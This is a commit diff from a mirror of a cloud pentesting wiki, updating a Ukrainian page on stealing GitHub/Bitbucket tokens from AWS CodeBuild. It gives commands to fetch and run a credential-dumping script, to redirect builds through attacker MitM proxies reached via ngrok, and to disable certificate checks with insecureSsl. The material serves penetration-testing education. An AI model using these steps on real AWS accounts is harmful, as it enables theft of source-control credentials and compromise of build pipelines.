mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-04-28 12:03:08 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -2,47 +2,57 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Відновлення Github/Bitbucket налаштованих Tokens
|
||||
## Відновлення налаштованих Github/Bitbucket Tokens
|
||||
|
||||
Спочатку перевірте, чи є які-небудь налаштовані source credentials, які ви могли б leak:
|
||||
Спочатку перевірте, чи є налаштовані source credentials, які ви могли б leak:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Через Docker Image
|
||||
### Через RCE у CodeBuild-завданні
|
||||
|
||||
Якщо ви виявите, що в акаунті налаштована автентифікація, наприклад до Github, ви можете **exfiltrate** цей **access** (**GH token або OAuth token**), змусивши Codebuild **use an specific docker image** для запуску збірки проекту.
|
||||
Зсередини CodeBuild-завдання можна звернутися до недокументованого AWS CodeBuild API endpoint, який поверне облікові дані, що використовуються CodeBuild. Це можна використати, щоб отримати облікові дані, з якими було налаштовано CodeBuild-завдання, напр.: AWS CodeConnection облікові дані, OAUTH або PAT облікові дані. CodeBuild-завданню не потрібно мати підвищені привілеї для звернення до цього endpoint, і це також важко виявити у логах та моніторингу, оскільки сам CodeBuild викликає цей endpoint кілька разів при старті.
|
||||
|
||||
Для цього ви можете **create a new Codebuild project** або змінити **environment** існуючого, щоб встановити **Docker image**.
|
||||
Техніку детальніше описано в [https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/](https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/), але коротко, щоб отримати облікові дані всередині CodeBuild-завдання, достатньо виконати наступне:
|
||||
```
|
||||
python -m pip install botocore boto3 requests
|
||||
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
|
||||
python ./GetBuildInfo.py
|
||||
```
|
||||
### Via Docker Image
|
||||
|
||||
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Це дуже базовий Docker image, який встановить **env variables `https_proxy`**, **`http_proxy`** та **`SSL_CERT_FILE`**. Це дозволить вам перехоплювати більшість трафіку хоста, вказаного в **`https_proxy`** і **`http_proxy`**, і довіряти SSL CERT, вказаному в **`SSL_CERT_FILE`**.
|
||||
Якщо ви виявите, що в обліковому записі налаштовано автентифікацію, наприклад до Github, ви можете **exfiltrate** той **access** (**GH token or OAuth token**) змусивши Codebuild **use an specific docker image** для запуску збірки проєкту.
|
||||
|
||||
Для цього ви можете **create a new Codebuild project** або змінити **environment** існуючого, щоб вказати **Docker image**.
|
||||
|
||||
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Це дуже простий Docker image, який встановить **env variables `https_proxy`**, **`http_proxy`** і **`SSL_CERT_FILE`**. Це дозволить перехоплювати більшість трафіку хоста, вказаного в **`https_proxy`** і **`http_proxy`**, та довіряти SSL CERT, вказаному в **`SSL_CERT_FILE`**.
|
||||
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- Дотримуйтесь інструкцій репозиторію, щоб вказати IP-адресу проксі та SSL сертифікат і **збудувати Docker image**.
|
||||
- Дотримуйтесь інструкцій репозиторію, щоб вказати IP-адресу проксі, встановити SSL-сертифікат та **build the docker image**.
|
||||
- **DO NOT SET `http_proxy`** щоб не перехоплювати запити до metadata endpoint.
|
||||
- Ви можете використати **`ngrok`**, наприклад `ngrok tcp 4444`, щоб встановити проксі на ваш хост
|
||||
- Після того як ви збудуєте Docker image, **upload it to a public repo** (Dockerhub, ECR...)
|
||||
- Ви можете використати **`ngrok`**, наприклад `ngrok tcp 4444`, щоб спрямувати проксі на ваш хост
|
||||
- Коли Docker image збудовано, **upload it to a public repo** (Dockerhub, ECR...)
|
||||
2. **Set the environment**
|
||||
- Створіть **new Codebuild project** або змініть **environment** існуючого.
|
||||
- Встановіть у проекті використання **previously generated Docker image**
|
||||
- Створіть **new Codebuild project** або **modify** середовище існуючого.
|
||||
- Встановіть проєкт для використання **previously generated Docker image**
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Встановіть MitM proxy на вашому хості**
|
||||
3. **Set the MitM proxy in your host**
|
||||
|
||||
- Як вказано в **Github repo**, ви можете використати щось на кшталт:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> Використана версія **mitmproxy — 9.0.1**, повідомлялося, що з версією 10 це може не працювати.
|
||||
> The **mitmproxy version used was 9.0.1**, повідомлялося, що з версією 10 це може не працювати.
|
||||
|
||||
4. **Запустіть build та перехопіть credentials**
|
||||
4. **Запустіть збірку та перехопіть облікові дані**
|
||||
|
||||
- Ви можете побачити token у заголовку **Authorization**:
|
||||
- Ви можете побачити токен у заголовку **Authorization**:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Це також можна зробити через aws cli за допомогою команди на кшталт
|
||||
Це також можна зробити з aws cli за допомогою команди на кшталт
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -73,15 +83,15 @@ aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### Через insecureSSL
|
||||
|
||||
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
|
||||
Увімкнення цього дозволяє Codebuild підключатися до репозиторію **без перевірки сертифіката**, який надає платформа.
|
||||
**Codebuild** проекти мають налаштування під назвою **`insecureSsl`**, яке приховано у веб-інтерфейсі — його можна змінити лише через API.\
|
||||
Увімкнення цього дозволяє Codebuild підключатися до репозиторію **без перевірки сертифіката**, наданого платформою.
|
||||
|
||||
- Спочатку потрібно перелічити поточну конфігурацію за допомогою чогось на кшталт:
|
||||
- Спочатку потрібно enumerate поточну конфігурацію за допомогою чогось на кшталт:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- Потім, маючи зібрану інформацію, ви можете оновити налаштування проекту **`insecureSsl`** на **`True`**. Наведено приклад мого оновлення проекту, зверніть увагу на **`insecureSsl=True`** в кінці (це єдине, що потрібно змінити у зібраній конфігурації).
|
||||
- Крім того, додайте також змінні оточення **http_proxy** та **https_proxy**, які вказують на ваш tcp ngrok, наприклад:
|
||||
- Потім, зібравши інформацію, ви можете оновити налаштування проекту **`insecureSsl`** на **`True`**. Нижче приклад мого оновлення проекту — зверніть увагу на **`insecureSsl=True`** в кінці (це єдине, що потрібно змінити у зібраній конфігурації).
|
||||
- Крім того, додайте також змінні середовища **http_proxy** і **https_proxy**, які вказують на ваш tcp ngrok, наприклад:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -115,7 +125,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному в proxy variables (http_proxy and https_proxy)
|
||||
- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному змінними проксі (http_proxy та https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -128,24 +138,24 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Нарешті, натисніть на **Build the project**, **облікові дані** будуть **відправлені у відкритому тексті** (base64) на порт mitm:
|
||||
- Нарешті, натисніть на **Build the project**, **credentials** будуть **відправлені у відкритому вигляді** (base64) на mitm порт:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Через протокол HTTP~~
|
||||
### ~~Через HTTP протокол~~
|
||||
|
||||
> [!TIP] > **Ця вразливість була виправлена AWS десь на тижні, що починався 20 лютого 2023 року (мабуть у п’ятницю). Тож атакувати її вже не можна :)**
|
||||
> [!TIP] > **Цю вразливість AWS виправили приблизно на тижні, що починався 20 лютого 2023 року (ймовірно в п’ятницю). Тому атакуючий більше не може її використовувати :)**
|
||||
|
||||
Зловмисник з **підвищеними правами в CodeBuild може leak налаштований Github/Bitbucket token**, або якщо права були налаштовані через OAuth, **тимчасовий OAuth token, який використовується для доступу до коду**.
|
||||
Атакуючий з **підвищеними правами над CodeBuild може leak Github/Bitbucket token**, що налаштований, або якщо права були налаштовані через OAuth, — **тимчасовий OAuth token, що використовується для доступу до коду**.
|
||||
|
||||
- Зловмисник може додати змінні середовища **http_proxy** і **https_proxy** до проекту CodeBuild, вказуючи на свою машину (наприклад `http://5.tcp.eu.ngrok.io:14972`).
|
||||
- Атакуючий може додати змінні середовища **http_proxy** та **https_proxy** в проект CodeBuild, вказавши на свою машину (наприклад `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Потім змініть URL репозиторію github, щоб використовувати HTTP замість HTTPS, наприклад: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Після цього запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному змінними proxy (http_proxy та https_proxy)
|
||||
- Потім змініть URL github repo, щоб використовувати HTTP замість HTTPS, наприклад: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порті, вказаному змінними проксі (http_proxy та https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -158,20 +168,20 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Далі натисніть на **Побудувати проект** або запустіть збірку з командного рядка:
|
||||
- Далі натисніть на **Build the project** або запустіть збірку з командного рядка:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- Нарешті, **облікові дані** будуть **відправлені у відкритому вигляді** (base64) на порт mitm:
|
||||
- Нарешті, **credentials** будуть **відправлені у clear text** (base64) на mitm port:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Тепер attacker зможе використати token зі своєї машини, переглянути всі привілеї, які він має, і (ab)use легше, ніж безпосередньо використовуючи сервіс CodeBuild.
|
||||
> Тепер attacker зможе використовувати token зі своєї машини, переглянути всі привілеї, які він має, та (ab)use легше, ніж при безпосередньому використанні CodeBuild.
|
||||
|
||||
## Виконання неперевіреного PR через неправильну конфігурацію фільтра webhook
|
||||
## Виконання Untrusted PR через неправильну конфігурацію фільтра webhook
|
||||
|
||||
Для PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), перевірте:
|
||||
Для ланцюга обходу webhook, що запускається PR (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), перевірте:
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-untrusted-pr-webhook-bypass.md
|
||||
|
||||
Reference in New Issue
Block a user